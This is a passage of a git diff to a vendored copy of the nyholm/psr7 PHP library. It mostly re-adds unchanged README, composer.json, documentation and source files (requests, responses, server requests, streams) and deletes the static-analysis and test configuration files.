\Nyholm\Psr7\Factory\Psr17Factory(); -$psr18Client = new \Buzz\Client\Curl($psr17Factory); - -$request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); -$response = $psr18Client->sendRequest($request); -``` - -### Create server requests - -The [`nyholm/psr7-server`](https://github.com/Nyholm/psr7-server) package can be used -to create server requests from PHP superglobals. - -```bash -composer require nyholm/psr7-server -``` - -```php -$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); - -$creator = new \Nyholm\Psr7Server\ServerRequestCreator( - $psr17Factory, // ServerRequestFactory - $psr17Factory, // UriFactory - $psr17Factory, // UploadedFileFactory - $psr17Factory // StreamFactory -); - -$serverRequest = $creator->fromGlobals(); -``` - -### Emitting a response - -```bash -composer require laminas/laminas-httphandlerrunner -``` - -```php -$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); - -$responseBody = $psr17Factory->createStream('Hello world'); -$response = $psr17Factory->createResponse(200)->withBody($responseBody); -(new \Laminas\HttpHandlerRunner\Emitter\SapiEmitter())->emit($response); -``` - -## Our goal - -This package is currently maintained by [Tobias Nyholm](http://nyholm.se) and -[Martijn van der Ven](https://vanderven.se/martijn/). They have decided that the -goal of this library should be to provide a super strict implementation of -[PSR-7](https://www.php-fig.org/psr/psr-7/) that is blazing fast. - -The package will never include any extra features nor helper methods. All our classes -and functions exist because they are required to fulfill the PSR-7 specification. +# PSR-7 implementation + +[![Latest Version](https://img.shields.io/github/release/Nyholm/psr7.svg?style=flat-square)](https://github.com/Nyholm/psr7/releases) +[![Build Status](https://img.shields.io/travis/Nyholm/psr7/master.svg?style=flat-square)](https://travis-ci.org/Nyholm/psr7) +[![Code Coverage](https://img.shields.io/scrutinizer/coverage/g/Nyholm/psr7.svg?style=flat-square)](https://scrutinizer-ci.com/g/Nyholm/psr7) +[![Quality Score](https://img.shields.io/scrutinizer/g/Nyholm/psr7.svg?style=flat-square)](https://scrutinizer-ci.com/g/Nyholm/psr7) +[![Total Downloads](https://poser.pugx.org/nyholm/psr7/downloads)](https://packagist.org/packages/nyholm/psr7) +[![Monthly Downloads](https://poser.pugx.org/nyholm/psr7/d/monthly.png)](https://packagist.org/packages/nyholm/psr7) +[![Software License](https://img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE) + + +A super lightweight PSR-7 implementation. Very strict and very fast. + +| Description | Guzzle | Laminas | Slim | Nyholm | +| ---- | ------ | ---- | ---- | ------ | +| Lines of code | 3.300 | 3.100 | 1.900 | 1.000 | +| PSR-7* | 66% | 100% | 75% | 100% | +| PSR-17 | No | Yes | Yes | Yes | +| HTTPlug | No | No | No | Yes | +| Performance (runs per second)** | 14.553 | 14.703 | 13.416 | 17.734 | + +\* Percent of completed tests in https://github.com/php-http/psr7-integration-tests + +\** Benchmark with 50.000 runs. See https://github.com/devanych/psr-http-benchmark (higher is better) + +## Installation + +```bash +composer require nyholm/psr7 +``` + +If you are using Symfony Flex then you get all message factories registered as services. + +## Usage + +The PSR-7 objects do not contain any other public methods than those defined in +the [PSR-7 specification](https://www.php-fig.org/psr/psr-7/). + +### Create objects + +Use the PSR-17 factory to create requests, streams, URIs etc. + +```php +$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); +$request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); +$stream = $psr17Factory->createStream('foobar'); +``` + +### Sending a request + +With [HTTPlug](http://httplug.io/) or any other PSR-18 (HTTP client) you may send +requests like: + +```bash +composer require kriswallsmith/buzz +``` + +```php +$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); +$psr18Client = new \Buzz\Client\Curl($psr17Factory); + +$request = $psr17Factory->createRequest('GET', 'http://tnyholm.se'); +$response = $psr18Client->sendRequest($request); +``` + +### Create server requests + +The [`nyholm/psr7-server`](https://github.com/Nyholm/psr7-server) package can be used +to create server requests from PHP superglobals. + +```bash +composer require nyholm/psr7-server +``` + +```php +$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); + +$creator = new \Nyholm\Psr7Server\ServerRequestCreator( + $psr17Factory, // ServerRequestFactory + $psr17Factory, // UriFactory + $psr17Factory, // UploadedFileFactory + $psr17Factory // StreamFactory +); + +$serverRequest = $creator->fromGlobals(); +``` + +### Emitting a response + +```bash +composer require laminas/laminas-httphandlerrunner +``` + +```php +$psr17Factory = new \Nyholm\Psr7\Factory\Psr17Factory(); + +$responseBody = $psr17Factory->createStream('Hello world'); +$response = $psr17Factory->createResponse(200)->withBody($responseBody); +(new \Laminas\HttpHandlerRunner\Emitter\SapiEmitter())->emit($response); +``` + +## Our goal + +This package is currently maintained by [Tobias Nyholm](http://nyholm.se) and +[Martijn van der Ven](https://vanderven.se/martijn/). They have decided that the +goal of this library should be to provide a super strict implementation of +[PSR-7](https://www.php-fig.org/psr/psr-7/) that is blazing fast. + +The package will never include any extra features nor helper methods. All our classes +and functions exist because they are required to fulfill the PSR-7 specification. diff --git a/vendor/nyholm/psr7/composer.json b/vendor/nyholm/psr7/composer.json index 6811fb1f0b..fffdec0b93 100644 --- a/vendor/nyholm/psr7/composer.json +++ b/vendor/nyholm/psr7/composer.json @@ -1,48 +1,48 @@ -{ - "name": "nyholm/psr7", - "description": "A fast PHP7 implementation of PSR-7", - "license": "MIT", - "keywords": ["psr-7", "psr-17"], - "homepage": "https://tnyholm.se", - "authors": [ - { - "name": "Tobias Nyholm", - "email": "tobias.nyholm@gmail.com" - }, - { - "name": "Martijn van der Ven", - "email": "martijn@vanderven.se" - } - ], - "require": { - "php": ">=7.1", - "psr/http-message": "^1.0", - "php-http/message-factory": "^1.0", - "psr/http-factory": "^1.0" - }, - "require-dev": { - "phpunit/phpunit": "^7.5 || 8.5 || 9.4", - "php-http/psr7-integration-tests": "^1.0", - "http-interop/http-factory-tests": "^0.9", - "symfony/error-handler": "^4.4" - }, - "provide": { - "psr/http-message-implementation": "1.0", - "psr/http-factory-implementation": "1.0" - }, - "autoload": { - "psr-4": { - "Nyholm\\Psr7\\": "src/" - } - }, - "autoload-dev": { - "psr-4": { - "Tests\\Nyholm\\Psr7\\": "tests/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "1.4-dev" - } - } -} +{ + "name": "nyholm/psr7", + "description": "A fast PHP7 implementation of PSR-7", + "license": "MIT", + "keywords": ["psr-7", "psr-17"], + "homepage": "https://tnyholm.se", + "authors": [ + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com" + }, + { + "name": "Martijn van der Ven", + "email": "martijn@vanderven.se" + } + ], + "require": { + "php": ">=7.1", + "psr/http-message": "^1.0", + "php-http/message-factory": "^1.0", + "psr/http-factory": "^1.0" + }, + "require-dev": { + "phpunit/phpunit": "^7.5 || 8.5 || 9.4", + "php-http/psr7-integration-tests": "^1.0", + "http-interop/http-factory-tests": "^0.9", + "symfony/error-handler": "^4.4" + }, + "provide": { + "psr/http-message-implementation": "1.0", + "psr/http-factory-implementation": "1.0" + }, + "autoload": { + "psr-4": { + "Nyholm\\Psr7\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Tests\\Nyholm\\Psr7\\": "tests/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.4-dev" + } + } +} diff --git a/vendor/nyholm/psr7/doc/final.md b/vendor/nyholm/psr7/doc/final.md index ecf08e2574..b5b1942b81 100644 --- a/vendor/nyholm/psr7/doc/final.md +++ b/vendor/nyholm/psr7/doc/final.md @@ -1,20 +1,20 @@ -# Final classes - -The `final` keyword was removed in version 1.4.0. It was replaced by `@final` annotation. -This was done due popular demand, not because it is a good technical reason to -extend the classes. - -This document will show the correct way to work with PSR-7 classes. The "correct way" -refers to best practices and good software design. I strongly believe that one should -be aware of how a problem *should* be solved, however, it is not needed to always -implement that solution. - -## Extending classes - -You should never extend the classes, you should rather use composition or implement -the interface yourself. Please refer to the [decorator pattern](https://refactoring.guru/design-patterns/decorator). - -## Mocking classes - -The PSR-7 classes are all value objects and they can be used without mocking. If -one really needs to create a special scenario, one can mock the interface instead. +# Final classes + +The `final` keyword was removed in version 1.4.0. It was replaced by `@final` annotation. +This was done due popular demand, not because it is a good technical reason to +extend the classes. + +This document will show the correct way to work with PSR-7 classes. The "correct way" +refers to best practices and good software design. I strongly believe that one should +be aware of how a problem *should* be solved, however, it is not needed to always +implement that solution. + +## Extending classes + +You should never extend the classes, you should rather use composition or implement +the interface yourself. Please refer to the [decorator pattern](https://refactoring.guru/design-patterns/decorator). + +## Mocking classes + +The PSR-7 classes are all value objects and they can be used without mocking. If +one really needs to create a special scenario, one can mock the interface instead. diff --git a/vendor/nyholm/psr7/phpstan.baseline.dist b/vendor/nyholm/psr7/phpstan.baseline.dist deleted file mode 100644 index 6bc2c7eff3..0000000000 --- a/vendor/nyholm/psr7/phpstan.baseline.dist +++ /dev/null @@ -1,42 +0,0 @@ -parameters: - ignoreErrors: - - - message: "#^Result of && is always false\\.$#" - count: 1 - path: src/Response.php - - - - message: "#^Strict comparison using \\=\\=\\= between null and string will always evaluate to false\\.$#" - count: 1 - path: src/Response.php - - - - message: "#^Result of && is always false\\.$#" - count: 1 - path: src/ServerRequest.php - - - - message: "#^Strict comparison using \\!\\=\\= between null and null will always evaluate to false\\.$#" - count: 1 - path: src/ServerRequest.php - - - - message: "#^Parameter \\#1 \\$error_handler of function set_error_handler expects \\(callable\\(int, string, string, int, array\\)\\: bool\\)\\|null, 'var_dump' given\\.$#" - count: 1 - path: src/Stream.php - - - - message: "#^Method Nyholm\\\\Psr7\\\\Stream\\:\\:__toString\\(\\) should return string but returns bool\\.$#" - count: 1 - path: src/Stream.php - - - - message: "#^Strict comparison using \\=\\=\\= between false and true will always evaluate to false\\.$#" - count: 2 - path: src/UploadedFile.php - - - - message: "#^Result of && is always false\\.$#" - count: 2 - path: src/UploadedFile.php - diff --git a/vendor/nyholm/psr7/phpstan.neon.dist b/vendor/nyholm/psr7/phpstan.neon.dist deleted file mode 100644 index 180cd2d07a..0000000000 --- a/vendor/nyholm/psr7/phpstan.neon.dist +++ /dev/null @@ -1,7 +0,0 @@ -includes: - - phpstan.baseline.dist - -parameters: - level: 5 - paths: - - src diff --git a/vendor/nyholm/psr7/phpunit.xml.dist b/vendor/nyholm/psr7/phpunit.xml.dist deleted file mode 100644 index 1b340422d5..0000000000 --- a/vendor/nyholm/psr7/phpunit.xml.dist +++ /dev/null @@ -1,19 +0,0 @@ - - - - - tests/ - - - ./vendor/http-interop/http-factory-tests/test - - - - - - - - - - - diff --git a/vendor/nyholm/psr7/psalm.xml b/vendor/nyholm/psr7/psalm.xml index 9f38783519..d234691b90 100644 --- a/vendor/nyholm/psr7/psalm.xml +++ b/vendor/nyholm/psr7/psalm.xml @@ -1,15 +1,15 @@ - - - - - - - - - + + + + + + + + + diff --git a/vendor/nyholm/psr7/src/RequestTrait.php b/vendor/nyholm/psr7/src/RequestTrait.php index a1be4b1973..f39993a197 100644 --- a/vendor/nyholm/psr7/src/RequestTrait.php +++ b/vendor/nyholm/psr7/src/RequestTrait.php @@ -1,113 +1,113 @@ - - * @author Martijn van der Ven - * - * @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise - */ -trait RequestTrait -{ - /** @var string */ - private $method; - - /** @var string|null */ - private $requestTarget; - - /** @var UriInterface|null */ - private $uri; - - public function getRequestTarget(): string - { - if (null !== $this->requestTarget) { - return $this->requestTarget; - } - - if ('' === $target = $this->uri->getPath()) { - $target = '/'; - } - if ('' !== $this->uri->getQuery()) { - $target .= '?' . $this->uri->getQuery(); - } - - return $target; - } - - public function withRequestTarget($requestTarget): self - { - if (\preg_match('#\s#', $requestTarget)) { - throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace'); - } - - $new = clone $this; - $new->requestTarget = $requestTarget; - - return $new; - } - - public function getMethod(): string - { - return $this->method; - } - - public function withMethod($method): self - { - if (!\is_string($method)) { - throw new \InvalidArgumentException('Method must be a string'); - } - - $new = clone $this; - $new->method = $method; - - return $new; - } - - public function getUri(): UriInterface - { - return $this->uri; - } - - public function withUri(UriInterface $uri, $preserveHost = false): self - { - if ($uri === $this->uri) { - return $this; - } - - $new = clone $this; - $new->uri = $uri; - - if (!$preserveHost || !$this->hasHeader('Host')) { - $new->updateHostFromUri(); - } - - return $new; - } - - private function updateHostFromUri(): void - { - if ('' === $host = $this->uri->getHost()) { - return; - } - - if (null !== ($port = $this->uri->getPort())) { - $host .= ':' . $port; - } - - if (isset($this->headerNames['host'])) { - $header = $this->headerNames['host']; - } else { - $this->headerNames['host'] = $header = 'Host'; - } - - // Ensure Host is the first header. - // See: http://tools.ietf.org/html/rfc7230#section-5.4 - $this->headers = [$header => [$host]] + $this->headers; - } -} + + * @author Martijn van der Ven + * + * @internal should not be used outside of Nyholm/Psr7 as it does not fall under our BC promise + */ +trait RequestTrait +{ + /** @var string */ + private $method; + + /** @var string|null */ + private $requestTarget; + + /** @var UriInterface|null */ + private $uri; + + public function getRequestTarget(): string + { + if (null !== $this->requestTarget) { + return $this->requestTarget; + } + + if ('' === $target = $this->uri->getPath()) { + $target = '/'; + } + if ('' !== $this->uri->getQuery()) { + $target .= '?' . $this->uri->getQuery(); + } + + return $target; + } + + public function withRequestTarget($requestTarget): self + { + if (\preg_match('#\s#', $requestTarget)) { + throw new \InvalidArgumentException('Invalid request target provided; cannot contain whitespace'); + } + + $new = clone $this; + $new->requestTarget = $requestTarget; + + return $new; + } + + public function getMethod(): string + { + return $this->method; + } + + public function withMethod($method): self + { + if (!\is_string($method)) { + throw new \InvalidArgumentException('Method must be a string'); + } + + $new = clone $this; + $new->method = $method; + + return $new; + } + + public function getUri(): UriInterface + { + return $this->uri; + } + + public function withUri(UriInterface $uri, $preserveHost = false): self + { + if ($uri === $this->uri) { + return $this; + } + + $new = clone $this; + $new->uri = $uri; + + if (!$preserveHost || !$this->hasHeader('Host')) { + $new->updateHostFromUri(); + } + + return $new; + } + + private function updateHostFromUri(): void + { + if ('' === $host = $this->uri->getHost()) { + return; + } + + if (null !== ($port = $this->uri->getPort())) { + $host .= ':' . $port; + } + + if (isset($this->headerNames['host'])) { + $header = $this->headerNames['host']; + } else { + $this->headerNames['host'] = $header = 'Host'; + } + + // Ensure Host is the first header. + // See: http://tools.ietf.org/html/rfc7230#section-5.4 + $this->headers = [$header => [$host]] + $this->headers; + } +} diff --git a/vendor/nyholm/psr7/src/Response.php b/vendor/nyholm/psr7/src/Response.php index c957111e08..9a26d2cb52 100644 --- a/vendor/nyholm/psr7/src/Response.php +++ b/vendor/nyholm/psr7/src/Response.php @@ -1,90 +1,90 @@ - - * @author Martijn van der Ven - * - * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md - */ -class Response implements ResponseInterface -{ - use MessageTrait; - - /** @var array Map of standard HTTP status code/reason phrases */ - private const PHRASES = [ - 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', - 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', - 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', - 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', - 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 511 => 'Network Authentication Required', - ]; - - /** @var string */ - private $reasonPhrase = ''; - - /** @var int */ - private $statusCode; - - /** - * @param int $status Status code - * @param array $headers Response headers - * @param string|resource|StreamInterface|null $body Response body - * @param string $version Protocol version - * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) - */ - public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', string $reason = null) - { - // If we got no body, defer initialization of the stream until Response::getBody() - if ('' !== $body && null !== $body) { - $this->stream = Stream::create($body); - } - - $this->statusCode = $status; - $this->setHeaders($headers); - if (null === $reason && isset(self::PHRASES[$this->statusCode])) { - $this->reasonPhrase = self::PHRASES[$status]; - } else { - $this->reasonPhrase = $reason ?? ''; - } - - $this->protocol = $version; - } - - public function getStatusCode(): int - { - return $this->statusCode; - } - - public function getReasonPhrase(): string - { - return $this->reasonPhrase; - } - - public function withStatus($code, $reasonPhrase = ''): self - { - if (!\is_int($code) && !\is_string($code)) { - throw new \InvalidArgumentException('Status code has to be an integer'); - } - - $code = (int) $code; - if ($code < 100 || $code > 599) { - throw new \InvalidArgumentException(\sprintf('Status code has to be an integer between 100 and 599. A status code of %d was given', $code)); - } - - $new = clone $this; - $new->statusCode = $code; - if ((null === $reasonPhrase || '' === $reasonPhrase) && isset(self::PHRASES[$new->statusCode])) { - $reasonPhrase = self::PHRASES[$new->statusCode]; - } - $new->reasonPhrase = $reasonPhrase; - - return $new; - } -} + + * @author Martijn van der Ven + * + * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md + */ +class Response implements ResponseInterface +{ + use MessageTrait; + + /** @var array Map of standard HTTP status code/reason phrases */ + private const PHRASES = [ + 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', + 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-status', 208 => 'Already Reported', + 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', 304 => 'Not Modified', 305 => 'Use Proxy', 306 => 'Switch Proxy', 307 => 'Temporary Redirect', + 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Time-out', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Large', 415 => 'Unsupported Media Type', 416 => 'Requested range not satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', 422 => 'Unprocessable Entity', 423 => 'Locked', 424 => 'Failed Dependency', 425 => 'Unordered Collection', 426 => 'Upgrade Required', 428 => 'Precondition Required', 429 => 'Too Many Requests', 431 => 'Request Header Fields Too Large', 451 => 'Unavailable For Legal Reasons', + 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Time-out', 505 => 'HTTP Version not supported', 506 => 'Variant Also Negotiates', 507 => 'Insufficient Storage', 508 => 'Loop Detected', 511 => 'Network Authentication Required', + ]; + + /** @var string */ + private $reasonPhrase = ''; + + /** @var int */ + private $statusCode; + + /** + * @param int $status Status code + * @param array $headers Response headers + * @param string|resource|StreamInterface|null $body Response body + * @param string $version Protocol version + * @param string|null $reason Reason phrase (when empty a default will be used based on the status code) + */ + public function __construct(int $status = 200, array $headers = [], $body = null, string $version = '1.1', string $reason = null) + { + // If we got no body, defer initialization of the stream until Response::getBody() + if ('' !== $body && null !== $body) { + $this->stream = Stream::create($body); + } + + $this->statusCode = $status; + $this->setHeaders($headers); + if (null === $reason && isset(self::PHRASES[$this->statusCode])) { + $this->reasonPhrase = self::PHRASES[$status]; + } else { + $this->reasonPhrase = $reason ?? ''; + } + + $this->protocol = $version; + } + + public function getStatusCode(): int + { + return $this->statusCode; + } + + public function getReasonPhrase(): string + { + return $this->reasonPhrase; + } + + public function withStatus($code, $reasonPhrase = ''): self + { + if (!\is_int($code) && !\is_string($code)) { + throw new \InvalidArgumentException('Status code has to be an integer'); + } + + $code = (int) $code; + if ($code < 100 || $code > 599) { + throw new \InvalidArgumentException(\sprintf('Status code has to be an integer between 100 and 599. A status code of %d was given', $code)); + } + + $new = clone $this; + $new->statusCode = $code; + if ((null === $reasonPhrase || '' === $reasonPhrase) && isset(self::PHRASES[$new->statusCode])) { + $reasonPhrase = self::PHRASES[$new->statusCode]; + } + $new->reasonPhrase = $reasonPhrase; + + return $new; + } +} diff --git a/vendor/nyholm/psr7/src/ServerRequest.php b/vendor/nyholm/psr7/src/ServerRequest.php index df58027c67..1ad8792997 100644 --- a/vendor/nyholm/psr7/src/ServerRequest.php +++ b/vendor/nyholm/psr7/src/ServerRequest.php @@ -1,164 +1,164 @@ - - * @author Martijn van der Ven - * - * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md - */ -class ServerRequest implements ServerRequestInterface -{ - use MessageTrait; - use RequestTrait; - - /** @var array */ - private $attributes = []; - - /** @var array */ - private $cookieParams = []; - - /** @var array|object|null */ - private $parsedBody; - - /** @var array */ - private $queryParams = []; - - /** @var array */ - private $serverParams; - - /** @var UploadedFileInterface[] */ - private $uploadedFiles = []; - - /** - * @param string $method HTTP method - * @param string|UriInterface $uri URI - * @param array $headers Request headers - * @param string|resource|StreamInterface|null $body Request body - * @param string $version Protocol version - * @param array $serverParams Typically the $_SERVER superglobal - */ - public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = []) - { - $this->serverParams = $serverParams; - - if (!($uri instanceof UriInterface)) { - $uri = new Uri($uri); - } - - $this->method = $method; - $this->uri = $uri; - $this->setHeaders($headers); - $this->protocol = $version; - - if (!$this->hasHeader('Host')) { - $this->updateHostFromUri(); - } - - // If we got no body, defer initialization of the stream until ServerRequest::getBody() - if ('' !== $body && null !== $body) { - $this->stream = Stream::create($body); - } - } - - public function getServerParams(): array - { - return $this->serverParams; - } - - public function getUploadedFiles(): array - { - return $this->uploadedFiles; - } - - public function withUploadedFiles(array $uploadedFiles) - { - $new = clone $this; - $new->uploadedFiles = $uploadedFiles; - - return $new; - } - - public function getCookieParams(): array - { - return $this->cookieParams; - } - - public function withCookieParams(array $cookies) - { - $new = clone $this; - $new->cookieParams = $cookies; - - return $new; - } - - public function getQueryParams(): array - { - return $this->queryParams; - } - - public function withQueryParams(array $query) - { - $new = clone $this; - $new->queryParams = $query; - - return $new; - } - - public function getParsedBody() - { - return $this->parsedBody; - } - - public function withParsedBody($data) - { - if (!\is_array($data) && !\is_object($data) && null !== $data) { - throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null'); - } - - $new = clone $this; - $new->parsedBody = $data; - - return $new; - } - - public function getAttributes(): array - { - return $this->attributes; - } - - public function getAttribute($attribute, $default = null) - { - if (false === \array_key_exists($attribute, $this->attributes)) { - return $default; - } - - return $this->attributes[$attribute]; - } - - public function withAttribute($attribute, $value): self - { - $new = clone $this; - $new->attributes[$attribute] = $value; - - return $new; - } - - public function withoutAttribute($attribute): self - { - if (false === \array_key_exists($attribute, $this->attributes)) { - return $this; - } - - $new = clone $this; - unset($new->attributes[$attribute]); - - return $new; - } -} + + * @author Martijn van der Ven + * + * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md + */ +class ServerRequest implements ServerRequestInterface +{ + use MessageTrait; + use RequestTrait; + + /** @var array */ + private $attributes = []; + + /** @var array */ + private $cookieParams = []; + + /** @var array|object|null */ + private $parsedBody; + + /** @var array */ + private $queryParams = []; + + /** @var array */ + private $serverParams; + + /** @var UploadedFileInterface[] */ + private $uploadedFiles = []; + + /** + * @param string $method HTTP method + * @param string|UriInterface $uri URI + * @param array $headers Request headers + * @param string|resource|StreamInterface|null $body Request body + * @param string $version Protocol version + * @param array $serverParams Typically the $_SERVER superglobal + */ + public function __construct(string $method, $uri, array $headers = [], $body = null, string $version = '1.1', array $serverParams = []) + { + $this->serverParams = $serverParams; + + if (!($uri instanceof UriInterface)) { + $uri = new Uri($uri); + } + + $this->method = $method; + $this->uri = $uri; + $this->setHeaders($headers); + $this->protocol = $version; + + if (!$this->hasHeader('Host')) { + $this->updateHostFromUri(); + } + + // If we got no body, defer initialization of the stream until ServerRequest::getBody() + if ('' !== $body && null !== $body) { + $this->stream = Stream::create($body); + } + } + + public function getServerParams(): array + { + return $this->serverParams; + } + + public function getUploadedFiles(): array + { + return $this->uploadedFiles; + } + + public function withUploadedFiles(array $uploadedFiles) + { + $new = clone $this; + $new->uploadedFiles = $uploadedFiles; + + return $new; + } + + public function getCookieParams(): array + { + return $this->cookieParams; + } + + public function withCookieParams(array $cookies) + { + $new = clone $this; + $new->cookieParams = $cookies; + + return $new; + } + + public function getQueryParams(): array + { + return $this->queryParams; + } + + public function withQueryParams(array $query) + { + $new = clone $this; + $new->queryParams = $query; + + return $new; + } + + public function getParsedBody() + { + return $this->parsedBody; + } + + public function withParsedBody($data) + { + if (!\is_array($data) && !\is_object($data) && null !== $data) { + throw new \InvalidArgumentException('First parameter to withParsedBody MUST be object, array or null'); + } + + $new = clone $this; + $new->parsedBody = $data; + + return $new; + } + + public function getAttributes(): array + { + return $this->attributes; + } + + public function getAttribute($attribute, $default = null) + { + if (false === \array_key_exists($attribute, $this->attributes)) { + return $default; + } + + return $this->attributes[$attribute]; + } + + public function withAttribute($attribute, $value): self + { + $new = clone $this; + $new->attributes[$attribute] = $value; + + return $new; + } + + public function withoutAttribute($attribute): self + { + if (false === \array_key_exists($attribute, $this->attributes)) { + return $this; + } + + $new = clone $this; + unset($new->attributes[$attribute]); + + return $new; + } +} diff --git a/vendor/nyholm/psr7/src/Stream.php b/vendor/nyholm/psr7/src/Stream.php index 06832a32b6..1a7f8c1f9c 100644 --- a/vendor/nyholm/psr7/src/Stream.php +++ b/vendor/nyholm/psr7/src/Stream.php @@ -1,287 +1,287 @@ - - * @author Martijn van der Ven - * - * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md - */ -class Stream implements StreamInterface -{ - /** @var resource|null A resource reference */ - private $stream; - - /** @var bool */ - private $seekable; - - /** @var bool */ - private $readable; - - /** @var bool */ - private $writable; - - /** @var array|mixed|void|bool|null */ - private $uri; - - /** @var int|null */ - private $size; - - /** @var array Hash of readable and writable stream types */ - private const READ_WRITE_HASH = [ - 'read' => [ - 'r' => true, 'w+' => true, 'r+' => true, 'x+' => true, 'c+' => true, - 'rb' => true, 'w+b' => true, 'r+b' => true, 'x+b' => true, - 'c+b' => true, 'rt' => true, 'w+t' => true, 'r+t' => true, - 'x+t' => true, 'c+t' => true, 'a+' => true, - ], - 'write' => [ - 'w' => true, 'w+' => true, 'rw' => true, 'r+' => true, 'x+' => true, - 'c+' => true, 'wb' => true, 'w+b' => true, 'r+b' => true, - 'x+b' => true, 'c+b' => true, 'w+t' => true, 'r+t' => true, - 'x+t' => true, 'c+t' => true, 'a' => true, 'a+' => true, - ], - ]; - - private function __construct() - { - } - - /** - * Creates a new PSR-7 stream. - * - * @param string|resource|StreamInterface $body - * - * @throws \InvalidArgumentException - */ - public static function create($body = ''): StreamInterface - { - if ($body instanceof StreamInterface) { - return $body; - } - - if (\is_string($body)) { - $resource = \fopen('php://temp', 'rw+'); - \fwrite($resource, $body); - $body = $resource; - } - - if (\is_resource($body)) { - $new = new self(); - $new->stream = $body; - $meta = \stream_get_meta_data($new->stream); - $new->seekable = $meta['seekable'] && 0 === \fseek($new->stream, 0, \SEEK_CUR); - $new->readable = isset(self::READ_WRITE_HASH['read'][$meta['mode']]); - $new->writable = isset(self::READ_WRITE_HASH['write'][$meta['mode']]); - - return $new; - } - - throw new \InvalidArgumentException('First argument to Stream::create() must be a string, resource or StreamInterface.'); - } - - /** - * Closes the stream when the destructed. - */ - public function __destruct() - { - $this->close(); - } - - /** - * @return string - */ - public function __toString() - { - try { - if ($this->isSeekable()) { - $this->seek(0); - } - - return $this->getContents(); - } catch (\Throwable $e) { - if (\PHP_VERSION_ID >= 70400) { - throw $e; - } - - if (\is_array($errorHandler = \set_error_handler('var_dump'))) { - $errorHandler = $errorHandler[0] ?? null; - } - \restore_error_handler(); - - if ($e instanceof \Error || $errorHandler instanceof SymfonyErrorHandler || $errorHandler instanceof SymfonyLegacyErrorHandler) { - return \trigger_error((string) $e, \E_USER_ERROR); - } - - return ''; - } - } - - public function close(): void - { - if (isset($this->stream)) { - if (\is_resource($this->stream)) { - \fclose($this->stream); - } - $this->detach(); - } - } - - public function detach() - { - if (!isset($this->stream)) { - return null; - } - - $result = $this->stream; - unset($this->stream); - $this->size = $this->uri = null; - $this->readable = $this->writable = $this->seekable = false; - - return $result; - } - - private function getUri() - { - if (false !== $this->uri) { - $this->uri = $this->getMetadata('uri') ?? false; - } - - return $this->uri; - } - - public function getSize(): ?int - { - if (null !== $this->size) { - return $this->size; - } - - if (!isset($this->stream)) { - return null; - } - - // Clear the stat cache if the stream has a URI - if ($uri = $this->getUri()) { - \clearstatcache(true, $uri); - } - - $stats = \fstat($this->stream); - if (isset($stats['size'])) { - $this->size = $stats['size']; - - return $this->size; - } - - return null; - } - - public function tell(): int - { - if (false === $result = \ftell($this->stream)) { - throw new \RuntimeException('Unable to determine stream position'); - } - - return $result; - } - - public function eof(): 